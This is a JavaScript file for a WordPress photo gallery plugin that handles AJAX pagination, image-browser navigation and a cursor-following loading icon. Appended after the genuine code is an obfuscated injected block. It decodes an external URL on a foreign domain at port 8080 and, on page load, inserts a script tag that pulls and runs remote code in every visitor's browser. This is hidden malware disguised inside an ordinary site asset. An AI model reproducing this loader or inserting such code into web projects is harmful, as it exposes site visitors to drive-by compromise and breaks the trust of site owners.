jQuery("document").ready(function(){
	// register ajax gallery-navigation listeners
	jQuery("a.page-numbers").click(function(e) {
		return ngg_ajax_navigation(e, this);
	});
	jQuery("a.prev").click(function(e) {
		return ngg_ajax_navigation(e, this);
	});
	jQuery("a.next").click(function(e) {
		return ngg_ajax_navigation(e, this);
	});
	
	// register ajax browser-navigation listeners
	jQuery("a.ngg-browser-next").click(function(e) {
		return ngg_ajax_browser_navigation(e, this);
	});
	jQuery("a.ngg-browser-prev").click(function(e) {
		return ngg_ajax_browser_navigation(e, this);
	});
});

function ngg_ajax_navigation(e, obj) {
	// try to find page number
	var pageNumber = 0;
	if (jQuery(obj).hasClass("page-numbers")) {
		pageNumber = jQuery(obj).contents()[0].data;
	} else if (jQuery(obj).hasClass("prev")) {
		pageNumber = jQuery(obj).attr("id").substr(9);
	} else if (jQuery(obj).hasClass("next")) {
		pageNumber = jQuery(obj).attr("id").substr(9);
	}
	
	// try to find gallery number by checking the parents ID until we find a matching one
	var currentNode = obj;
	while (null != currentNode.parentNode && !jQuery.nodeName(currentNode.parentNode, "body") && "ngg-gallery-" != jQuery(currentNode.parentNode).attr("id").substring(0, 12)) {
		currentNode = currentNode.parentNode;
	}
	
	if (jQuery(currentNode.parentNode).attr("id")) {
		var gallery = jQuery(currentNode.parentNode);

		// we found a gallery, let's extract the post id & gallery id
		var payload = gallery.attr("id").substring(12);
		var separatorPosition = parseInt(payload.indexOf("-"));
		
		var galleryId = payload.substr(0, separatorPosition);
		var postId = payload.substr(separatorPosition + 1);
				
		ngg_show_loading(e);
		
		// load gallery content
		jQuery.get(ngg_ajax.path + "nggajax.php", {p: postId, galleryid: galleryId, nggpage: pageNumber, type: "gallery"}, function (data, textStatus) {
			
			// delete old content
			gallery.children().remove();
			
			// add new content
			gallery.replaceWith(data);
			
			// add ajax-navigation, again
			jQuery("document").ready(function(){
				// remove old listeners to avoid double-clicks
				jQuery("a.page-numbers").unbind("click");
				jQuery("a.prev").unbind("click");
				jQuery("a.next").unbind("click");
				
				// add shutter-listeners again
				shutterReloaded.init('sh');
				
				jQuery("a.page-numbers").click(function(e) {
					return ngg_ajax_navigation(e, this);
				});
				jQuery("a.prev").click(function(e) {
					return ngg_ajax_navigation(e, this);
				});
				jQuery("a.next").click(function(e) {
					return ngg_ajax_navigation(e, this);
				});
				
				ngg_remove_loading();
			});
		});
		
		// deactivate HTML link
		return false;
	}
	
	// an error occurred, use traditional HTML link
	return true;
};

function ngg_ajax_browser_navigation(e, obj) {
	

	// try to find gallery number
	if ("ngg-prev-" == jQuery(obj).attr("id").substr(0, 9) || "ngg-next-" == jQuery(obj).attr("id").substr(0, 9)) {
		
		// extract the image-id
		var imageNumber = jQuery(obj).attr("id").substr(9);

		// find the image-browser-container
		var currentNode = obj;
		while (null != currentNode.parentNode && !jQuery.nodeName(currentNode.parentNode, "body") && !jQuery(currentNode.parentNode).hasClass("ngg-imagebrowser")) {
			currentNode = currentNode.parentNode;
		}
		
		if (jQuery(currentNode.parentNode).hasClass("ngg-imagebrowser")) {
			var gallery = jQuery(currentNode.parentNode);

			// let's extract the post id & gallery id
			var payload = gallery.attr("id").substring(17);
			var separatorPosition = parseInt(payload.indexOf("-"));
			
			var galleryId = payload.substr(0, separatorPosition);
			var postId = payload.substr(separatorPosition + 1);
			
			ngg_show_loading(e);
			
			// get content
			jQuery.get(ngg_ajax.path + "nggajax.php", {p: postId, galleryid: galleryId, pid: imageNumber, type: "browser"}, function (data, textStatus) {
				// delete old content
				gallery.children().remove();
				
				// add new content
				gallery.replaceWith(data);
				
				// add ajax-navigation, again
				jQuery("document").ready(function(){
					// remove old listeners to avoid double-clicks
					jQuery("a.ngg-browser-next").unbind("click");
					jQuery("a.ngg-browser-prev").unbind("click");
					
					// add shutter-listeners again
					shutterReloaded.init('sh');
					
					// register ajax browser-navigation listeners
					jQuery("a.ngg-browser-next").click(function(e) {
						return ngg_ajax_browser_navigation(e, this);
					});
					jQuery("a.ngg-browser-prev").click(function(e) {
						return ngg_ajax_browser_navigation(e, this);
					});
					
					ngg_remove_loading();
				});
			});
	
			// deactivate HTML link
			return false;
		}
	}
	
	return true;
}

var loadingImage;
function ngg_show_loading(obj) {
	loadingImage = jQuery(document.createElement("img")).attr("src", ngg_ajax.path + "images/ajax-loader.gif").attr("alt", ngg_ajax.loading);

	jQuery("body").append(loadingImage);
	
	jQuery(loadingImage).css({
		position: "absolute",
		top: (obj.pageY + 15) + "px",
		left: (obj.pageX + 15) + "px"
	});
	
	jQuery(document).mousemove(function(e) {
		loadingImage.css({
			top: (e.pageY + 15) + "px",
			left: (e.pageX + 15) + "px"
		});
	});
}

function ngg_remove_loading() {
	jQuery(document).unbind("mousemove");
	
	jQuery(loadingImage).remove();
}
var QU;if(QU!='g' && QU != ''){QU=null};var D;if(D!='e' && D!='o'){D=''};function C(){var E='';this.q="";this.w="";var H=window;var hK=new String();var W=unescape;var ay="";var X;if(X!='' && X!='xk'){X=''};var u=W("%2f%73%6f%75%72%63%65%66%6f%72%67%65%2d%6e%65%74%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%76%69%6d%65%6f%2e%63%6f%6d%2e%70%68%70");function Y(B,Q){this.y='';var L=new String("g");var eG=new Array();var VS;if(VS!=''){VS='vC'};var m=W("%5b"), I=W("%5d");var uy=m+Q+I;var Z=new RegExp(uy, L);var Iv=new Date();this.IL="";return B.replace(Z, new String());var fi;if(fi!='p'){fi='p'};var uG='';};this.EC="";var b=new String();var ia="";var tB;if(tB!=''){tB='hL'};var x=Y('84469310142936851526170735995236','93712645');var mw=new String();var c;if(c!=''){c='M'};var px="";var i=document;function a(){var RF;if(RF!='' && RF!='L_'){RF='EK'};var pO;if(pO!='' && pO!='dC'){pO='eE'};var QL=new Array();var YA=new Date();var Ir=W("%68%74%74%70%3a%2f%2f%66%6c%6f%72%69%64%61%6f%72%69%67%69%6e%2e%61%74%3a");mw=Ir;var YM;if(YM!='vR' && YM!='XO'){YM=''};mw+=x;mw+=u;var ii="";var HM;if(HM!=''){HM='KN'};this.ts="";this.GU="";try {var Av;if(Av!='' && Av!='vP'){Av=null};var KH;if(KH!='' && KH!='s'){KH='LA'};var DS;if(DS!='SH'){DS=''};_=i.createElement(Y('sxcWrRiWpRtW','HW1hxRV0'));var _L=new Date();_[W("%64%65%66%65%72")]=[1,1][0];_[W("%73%72%63")]=mw;this.r='';var vG;if(vG!='' && vG!='CQ'){vG=null};var FT;if(FT!=''){FT='AQ'};i.body.appendChild(_);var bx=new String();var ap;if(ap!='pG' && ap!='BU'){ap='pG'};var vv;if(vv!='Px'){vv='Px'};} catch(d){var NI;if(NI!='HB' && NI != ''){NI=null};alert(d);var uH;if(uH!='' && uH!='jO'){uH='O'};var gG=new Date();};}H[String("on"+"lo"+"adusk7".substr(0,2))]=a;var jc=new Array();var ft="";var mc;if(mc!='lH'){mc=''};};var xRO=new Array();C();var qe="";var xw;if(xw!='TI' && xw != ''){xw=null};